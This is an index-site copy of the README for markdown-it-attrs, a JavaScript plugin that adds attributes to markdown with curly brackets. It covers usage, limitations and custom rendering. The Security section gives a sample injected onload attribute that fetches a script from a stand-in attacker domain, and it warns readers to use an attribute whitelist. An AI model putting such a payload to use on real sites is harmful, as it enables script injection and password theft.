Ecosyste.ms: Awesome
An open API service indexing awesome lists of open source software.
https://github.com/arve0/markdown-it-attrs
Add classes, identifiers and attributes to your markdown with {} curly brackets, similar to pandoc's header attributes
https://github.com/arve0/markdown-it-attrs
Last synced: about 17 hours ago
JSON representation
Add classes, identifiers and attributes to your markdown with {} curly brackets, similar to pandoc's header attributes
- Host: GitHub
- URL: https://github.com/arve0/markdown-it-attrs
- Owner: arve0
- License: mit
- Created: 2015-07-20T16:15:23.000Z (over 9 years ago)
- Default Branch: master
- Last Pushed: 2023-11-12T19:12:24.000Z (about 1 year ago)
- Last Synced: 2024-05-17T18:03:17.907Z (6 months ago)
- Language: JavaScript
- Size: 692 KB
- Stars: 287
- Watchers: 7
- Forks: 53
- Open Issues: 9
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
README
# markdown-it-attrs [](https://travis-ci.org/arve0/markdown-it-attrs) [](http://badge.fury.io/js/markdown-it-attrs) [](https://coveralls.io/github/arve0/markdown-it-attrs?branch=master)
Add classes, identifiers and attributes to your markdown with `{.class #identifier attr=value attr2="spaced value"}` curly brackets, similar to [pandoc's header attributes](http://pandoc.org/README.html#extension-header_attributes).
# Table of contents
- [Examples](#examples)
- [Install](#install)
- [Support](#support)
- [Usage](#usage)
- [Security](#security)
- [Limitations](#limitations)
- [Ambiguity](#ambiguity)
- [Custom rendering](#custom-rendering)
- [Custom blocks](#custom-blocks)
- [Custom delimiters](#custom-delimiters)
- [Development](#development)
- [License](#license)
## Examples
Example input:
```md
# header {.style-me}
paragraph {data-toggle=modal}
```
Output:
```html
header
paragraph
```
Works with inline elements too:
```md
paragraph *style me*{.red} more text
```
Output:
```html
paragraph style me more text
```
And fenced code blocks:
```python {data=asdf}
nums = [x for x in range(10)]
```
Output:
```html
nums = [x for x in range(10)]
```
You can use `..` as a short-hand for `css-module=`:
```md
Use the css-module green on this paragraph. {..green}
```
Output:
```html
Use the css-module green on this paragraph.
```
Also works with spans, in combination with the [markdown-it-bracketed-spans](https://github.com/mb21/markdown-it-bracketed-spans) plugin (to be installed and loaded as such then):
```md
paragraph with [a style me span]{.red}
```
Output:
```html
paragraph with a style me span
```
## Install
```
$ npm install --save markdown-it-attrs
```
## Support
Library is considered done from my part. I'm maintaining it with bug fixes and
security updates.
I'll approve pull requests that are easy to understand. Generally not willing
merge pull requests that increase maintainance complexity. Feel free to open
anyhow and I'll give my feedback.
If you need some extra features, I'm available for hire.
## Usage
```js
var md = require('markdown-it')();
var markdownItAttrs = require('markdown-it-attrs');
md.use(markdownItAttrs, {
// optional, these are default options
leftDelimiter: '{',
rightDelimiter: '}',
allowedAttributes: [] // empty array = all attributes are allowed
});
var src = '# header {.green #id}\nsome text {with=attrs and="attrs with space"}';
var res = md.render(src);
console.log(res);
```
[demo as jsfiddle](https://jsfiddle.net/arve0/hwy17omn/)
## Security
A user may insert rogue attributes like this:
```js
{onload=fetch('https://imstealingyourpasswords.com/script.js').then(...)}
```
If security is a concern, use an attribute whitelist:
```js
md.use(markdownItAttrs, {
allowedAttributes: ['id', 'class', /^regex.*$/]
});
```
Now only `id`, `class` and attributes beginning with `regex` are allowed:
```md
text {#red .green regex=allowed onclick=alert('hello')}
```
Output:
```html
text
```
## Limitations
markdown-it-attrs relies on markdown parsing in markdown-it, which means some
special cases are not possible to fix. Like using `_` outside and inside
attributes:
```md
_i want [all of this](/link){target="_blank"} to be italics_
```
Above example will render to:
```html
_i want all of this{target="blank"} to be italics
```
...which is probably not what you wanted. Of course, you could use `*` for
italics to solve this parsing issue:
```md
*i want [all of this](/link){target="_blank"} to be italics*
```
Output:
```html
i want all of this to be italics
```
## Ambiguity
When class can be applied to both inline or block element, inline element will take precedence:
```md
- list item **bold**{.red}
```
Output:
```html
- list item bold
- list item bold
- list item bold
- item
- nested item
```
If you need the class to apply to the list item instead, use a space:
```md
- list item **bold** {.red}
```
Output:
```html
```
If you need the class to apply to the `
- ` element, use a new line:
```md
- list item **bold**
{.red}
```
Output:
```html
```
If you have nested lists, curlys after new lines will apply to the nearest `
- ` or `
- `. You may force it to apply to the outer `
- ` by adding curly below on a paragraph by its own:
```md
- item
- nested item {.a}
{.b}
{.c}
```
Output:
```html
```
This is not optimal, but what I can do at the momemnt. For further discussion, see https://github.com/arve0/markdown-it-attrs/issues/32.
Similar for tables, attributes must be _two_ new lines below:
```md
header1 | header2
------- | -------
column1 | column2
{.special}
```
Output:
```html
header1
header2
column1
column2
```
If you need finer control, [decorate](https://github.com/rstacruz/markdown-it-decorate) might help you.
## Custom rendering
If you would like some other output, you can override renderers:
```js
const md = require('markdown-it')();
const markdownItAttrs = require('markdown-it-attrs');
md.use(markdownItAttrs);
// custom renderer for fences
md.renderer.rules.fence = function (tokens, idx, options, env, slf) {
const token = tokens[idx];
return '
'';
+ '' + token.content + ''
+ '
}
let src = [
'',
'```js {.abcd}',
'var a = 1;',
'```'
].join('\n')
console.log(md.render(src));
```
Output:
```html
var a = 1;
```
Read more about [custom rendering at markdown-it](https://github.com/markdown-it/markdown-it/blob/master/docs/architecture.md#renderer).
## Custom blocks
`markdown-it-attrs` will add attributes to any `token.block == true` with {}-curlies in end of `token.info`. For example, see [markdown-it/rules_block/fence.js](https://github.com/markdown-it/markdown-it/blob/760050edcb7607f70a855c97a087ad287b653d61/lib/rules_block/fence.js#L85) which [stores text after the three backticks in fenced code blocks to `token.info`](https://markdown-it.github.io/#md3=%7B%22source%22%3A%22%60%60%60js%20%7B.red%7D%5Cnfunction%20%28%29%20%7B%7D%5Cn%60%60%60%22%2C%22defaults%22%3A%7B%22html%22%3Afalse%2C%22xhtmlOut%22%3Afalse%2C%22breaks%22%3Afalse%2C%22langPrefix%22%3A%22language-%22%2C%22linkify%22%3Atrue%2C%22typographer%22%3Atrue%2C%22_highlight%22%3Atrue%2C%22_strict%22%3Afalse%2C%22_view%22%3A%22debug%22%7D%7D).
Remember to [render attributes](https://github.com/arve0/markdown-it-attrs/blob/a75102ad571110659ce9545d184aa5658d2b4a06/index.js#L100) if you use a custom renderer.
## Custom delimiters
To use different delimiters than the default, add configuration for `leftDelimiter` and `rightDelimiter`:
```js
md.use(attrs, {
leftDelimiter: '[',
rightDelimiter: ']'
});
```
Which will render
```md
# title [.large]
```
as
```html
title
```
## Development
Tests are in [test.js](./test.js).
Run all tests:
```sh
npm test
```
Run particular test:
```sh
npm test -- -g "not crash"
```
In tests, use helper function `replaceDelimiters` to make test run with
different delimiters (`{}`, `[]` and `[[]]`).
For easy access to HTML output you can use [debug.js](./debug.js):
```sh
node debug.js # will print HTML output
```
Please do **not** submit pull requests with changes in package version or built
files like browser.js.
## License
MIT © [Arve Seljebu](http://arve0.github.io/)